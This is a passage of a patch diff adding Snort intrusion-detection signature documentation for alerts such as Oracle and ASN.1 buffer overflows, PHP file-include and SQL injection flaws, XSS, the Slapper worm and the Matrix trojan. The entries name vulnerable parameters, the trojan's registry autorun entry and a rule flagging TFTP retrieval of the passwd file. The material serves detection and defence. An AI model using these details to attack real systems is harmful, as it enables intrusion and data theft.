+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure define_priority_group
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3002.txt
+++ snort-2.8.5.2/doc/signatures/3002.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid:
+3002
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the Microsoft implementation of the ASN.1 Library.
+
+--
+Impact:
+Serious. Execution of arbitrary code, DoS.
+
+--
+Detailed Information:
+A buffer overflow condition in the Microsoft implementation of the ASN.1 
+Library. It may be possible for an attacker to exploit this condition by 
+sending specially crafted authentication packets to a host running a 
+vulnerable operating system.
+
+When the taget system decodes the ASN.1 data, exploit code may be included 
+in the data that may be excuted on the host with system level privileges. 
+Alternatively, the malformed data may cause the service to become 
+unresponsive thus causing the DoS condition to occur.
+
+--
+Affected Systems:
+	Microsoft Windows NT
+	Microsoft Windows NT Terminal Server Edition
+	Microsoft Windows 2000
+	Microsoft Windows XP
+	Microsoft Windows 2003
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0818
+
+US-CERT
+http://www.us-cert.gov/cas/techalerts/TA04-041A.html
+
+Microsoft
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms04-007.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2926.txt
+++ snort-2.8.5.2/doc/signatures/2926.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2926
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the PHP web application PhpGedView.
+
+--
+Impact:
+Execution of arbitrary code on the affected system
+
+--
+Detailed Information:
+PhpGedView contains a flaw such that it may be possible for an attacker
+to include code of their choosing by manipulating the PGV_BASE_DIRECTORY
+parameter when making a GET or POST  request to a vulnerable system.
+
+It may be possible for an attacker to execute that code with the
+privileges of the user running the webserver, usually root.
+
+--
+Affected Systems:
+	PhpGedView 2.65.1 and earlier
+
+--
+Attack Scenarios:
+An attacker can make a request to an affected script and define their
+own path to the PGV_BASE_DIRECTORY variable.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3100.txt
+++ snort-2.8.5.2/doc/signatures/3100.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3100
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1443.txt
+++ snort-2.8.5.2/doc/signatures/1443.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+1443
+
+--
+Summary:
+This event is generated when a TFTP GET request is made for the "passwd"
+file.  This could be an indication that a remote attacker has 
+compromised a system on the network and is transfering sensitive files 
+back to the attacking system.  It may also be an indication of a generic
+TFTP server scan that includes tests for generic system files.
+
+--
+Impact:
+The "passwd" file normally stores users names for Unix based systems.  
+If this file is being transfered over the network using TFTP it is 
+normally an indication of a system compromise.
+
+In some situations this rule may only indicate a generic TFTP scan 
+attempt, as the attacker may be scanning a large range of IP addresses 
+for TFTP improperly configured TFTP servers.
+
+--
+Detailed Information:
+This rule searches for the filename "passwd" in TFTP GET requests.  The 
+"passwd" file is used by Unix based systems to store users names for the
+system.
+
+--
+Attack Scenarios:
+After a successful system compromise an attacker may setup a tftp 
+service to transfer files back to the attacking system.  Under this 
+scenario the source address will point to the attack network and the 
+destination address will be an address defined in the HOME_NET.
+
+Attackers may also scan large subnets for TFTP servers and make numerous
+generic GET request for common system files. 
+
+--
+Ease of Attack:
+Simple: Numerous tools and automated scripts exist for scanning large 
+subnets for improperly configured TFTP servers.
+
+--
+False Positives:
+This rule was created to catch TFTP GET requests for "passwd", if this 
+file name is being used during a legitimate TFTP session this rule will 
+generate a false positive.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Depending on the situation blocking the attacker at the upstream router 
+or firewall will eliminate the problem.  However, if the TFTP server is 
+incorrectly configured and is actually serving the "passwd" file, it 
+should be configured to only serve specific files from a safe directory.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski Matt.Watchinski@sourcefire.com
+
+--
+Additional References
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1887.txt
+++ snort-2.8.5.2/doc/signatures/1887.txt
@@ -0,0 +1,55 @@
+Rule:
+
+--
+Sid:
+1887
+
+--
+Summary:
+This event is generated when a web server infected by the slapper worm attempts to infect a web server running OpenSSL.
+
+--
+Impact:
+Attempted remote access.  The slapper worm attempts to exploit a buffer overflow vulnerability associated with vulnerable versions of OpenSSL, permitting the execution of arbitrary code on the vulnerable server.
+
+--
+Detailed Information:
+The Apache/mod_ssl worm, also known as slapper, exploits a buffer overflow vulnerability associated with certain versions of OpenSSL. It spreads by attempting to infect other vulnerable web hosts listening on TCP port 443.  If the attack is successful, the worm gains control over the vulnerable host and attempts to spread to other hosts.  
+
+--
+Affected Systems:
+Linux hosts running Apache with mod_ssl using SSLv2-enabled OpenSSL 0.9.6d or earlier on Intel x86 architectures.
+
+--
+Attack Scenarios:
+The slapper worm attempts to exploit a buffer overflow vulnerability associated with OpenSSL, permitting the execution of arbitrary code on the vulnerable server and facilitating the spread of the worm.
+
+--
+Ease of Attack:
+Simple.  Exploit code exists. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the appropriate patch or upgrade to the most current version of OpenSSL.
+
+--
+Contributors:
+Original rule writer unknown.
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CERT
+http://www.cert.org/advisories/CA-2002-27.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000541.txt
+++ snort-2.8.5.2/doc/signatures/100000541.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000541
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "Dating Agent" application running on a webserver. Access 
+to the file "picture.php" with SQL commands being passed as the "pid" parameter 
+may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "pid" parameter in the "picture.php" script used by the 
+"Dating Agent" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Dating Agent
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/122-3.txt
+++ snort-2.8.5.2/doc/signatures/122-3.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-3
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically a tcp
+portsweep was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2153.txt
+++ snort-2.8.5.2/doc/signatures/2153.txt
@@ -0,0 +1,58 @@
+Rule:
+--
+Sid:
+2153
+
+--
+Summary:
+This event is generated when a remote user attempts to access autohtml.php on a web server. This may indicate an attempt to exploit a directory traversal vulnerability in PHP-Proxima, a web site portal application.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event may indicate an attempt to exploit a vulnerability in the autohtml.php script within PHP-Proxima. An attacker can use directory traversal techniques when accessing autohtml.php to view hidden files and directories on the web server with the access privileges of the server. 
+
+--
+Affected Systems:
+Any server running PHP-Proxima.
+
+--
+Attack Scenarios:
+An attacker can use directory traversal techniques when executing autohtml.php to view directories and files on the web server.
+
+--
+Ease of Attack:
+Simple. A proof of concept exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Comment out or remove the "include("autohtml/$name");" line from the autohtml.php script.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/7598
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=11630
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000829.txt
+++ snort-2.8.5.2/doc/signatures/100000829.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000829
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "HiveMail" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "name" parameter in the "address.view.php" script used by the "HiveMail" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using HiveMail
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/922.txt
+++ snort-2.8.5.2/doc/signatures/922.txt
@@ -0,0 +1,62 @@
+SID:
+922
+--
+
+Rule:
+--
+
+Summary:
+This even indicates an attempt to exploit undocumented CFML tags on a 
+Allaire ColdFusion Server
+--
+
+Impact:
+Extensive server data retrieval including settings and passwords
+--
+
+Detailed Information:
+Undocumented CFML tags allow reading and decryption of sensitive data 
+contained on servers running Allaire ColdFusion Server 2.0 - 4.0.1. This
+data can be accesses by constructing a hosted application that accesses 
+these undocumented tags with the possibility of changing values on the 
+server and reading admin and studio passwords
+--
+
+Affected Systems:
+	Allaire ColdFusion Server 2.0 - 4.0.1
+--
+
+Attack Scenarios:
+A user with permission to create pages on the server installs an 
+application that accesses the undocumented CFML tags, accessing this 
+application would allow viewing and possible modifications of these 
+settings
+--
+
+Ease of Attack:
+Medium, Attackers need the ability to add files to the server. No "In 
+the Wild" exploits were available at type of writing
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Patches are available from Allaire, install them.
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/717.txt
+++ snort-2.8.5.2/doc/signatures/717.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+717
+
+--
+Summary:
+This event is generated when a failed remote telnet connection occurs using the root account.
+
+--
+Impact:
+Failed root access.  This event indicates that an attacker tried an failed to connect to a telnet server using the root account.
+
+
+--
+Detailed Information:
+Telnet servers can be configured to disallow connections using the root account.  If root privileges are required, the root user must log on to the telnet server's console directly.  A failed telnet connection using the root account will generate an error message. 
+
+--
+Affected Systems:
+Telnet servers.
+
+--
+Attack Scenarios:
+An attacker may attempt to log on to a telnet server using the root account.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+
+Disable root logins using telnet.
+
+Consider using Secure Shell instead of telnet.
+
+Block inbound telnet access if it is not required.
+
+--
+Contributors:
+Original rule written by Ron Gula<rgula@tenablesecurity.com>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS365
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000365.txt
+++ snort-2.8.5.2/doc/signatures/100000365.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000365
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpNuke" application running on a webserver. Access to the file "index.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "index.php" script used by the "phpNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpNuke
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1555.txt
+++ snort-2.8.5.2/doc/signatures/1555.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1555
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000783.txt
+++ snort-2.8.5.2/doc/signatures/100000783.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000783
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "ATutor" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "show_courses" parameter in the "create_course.php" script used by the "ATutor" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using ATutor
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2585.txt
+++ snort-2.8.5.2/doc/signatures/2585.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2585
+
+--
+Summary:
+This event is generated when an attempt is made to probe for a known 
+vulnerability on a web server or a web application resident on a web
+server using Nessus.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to ascertain wether or
+not a Web server or an application running on a web server is subject
+to a possible vulnerability using the tool Nessus.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+An attacker merely needs to use Nessus against a server.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/161.txt
+++ snort-2.8.5.2/doc/signatures/161.txt
@@ -0,0 +1,85 @@
+Rule:
+
+--
+Sid:
+162
+
+--
+Summary:
+Matrix is a Trojan Horse offering the attacker the ability to upload 
+files to, and download files from the victim host.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	Windows XP
+
+The Trojan changes system registry settings to add the Matrix server
+to programs normally started on boot. Due to the nature of this Trojan
+it is unlikely that the attacker's client IP address has been spoofed.
+
+Matrix is based on the Girlfriend Trojan, see sid 145.
+
+The default name of the server application is Wincfg.exe
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise can be in the form of a Win32 installation program that may
+use the extension ".jpg" or ".bmp" when delivered via e-mail for
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+Registry keys added 
+
+Wincfg.exe ="<DRIVE>:\WINDOWS\Wincfg.exe"
+
+A reboot of the infected machine is recommended.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS83
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2018.txt
+++ snort-2.8.5.2/doc/signatures/2018.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+2018
+
+--
+Summary:
+This event is generated when a request is made to list remotely mounted Network File System (NFS) directories. 
+
+--
+Impact:
+Information disclosure.  This can allow an attacker to discover NFS file systems that have been mounted.
+
+--
+Detailed Information:
+The mountd Remote Procedure Call (RPC) implements the NFS mount protocol.  When an NFS client requests a mount of an NFS file system, mountd examines the list of exported file systems.  If the NFS client is permitted access to the requested file system, mountd returns a file handle for the requested directory.  An attacker or legitimate NFS client may request a list of mounted file systems.
+
+--
+Affected Systems:
+All systems running NFS.
+
+--
+Attack Scenarios:
+An attacker may attempt to list the mounted NFS file systems as a precursor to mounting them to read or change a specific file. 
+
+--
+Ease of Attack:
+Simple.   
+
+--
+False Positives:
+If a legitimate remote user is allowed to list mounted NFS file systems, this rule may trigger.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000637.txt
+++ snort-2.8.5.2/doc/signatures/100000637.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000637
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "template_duplicate.php" using a remote file being passed as 
+the "admin_template_path" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"template_duplicate.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/883.txt
+++ snort-2.8.5.2/doc/signatures/883.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+883
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
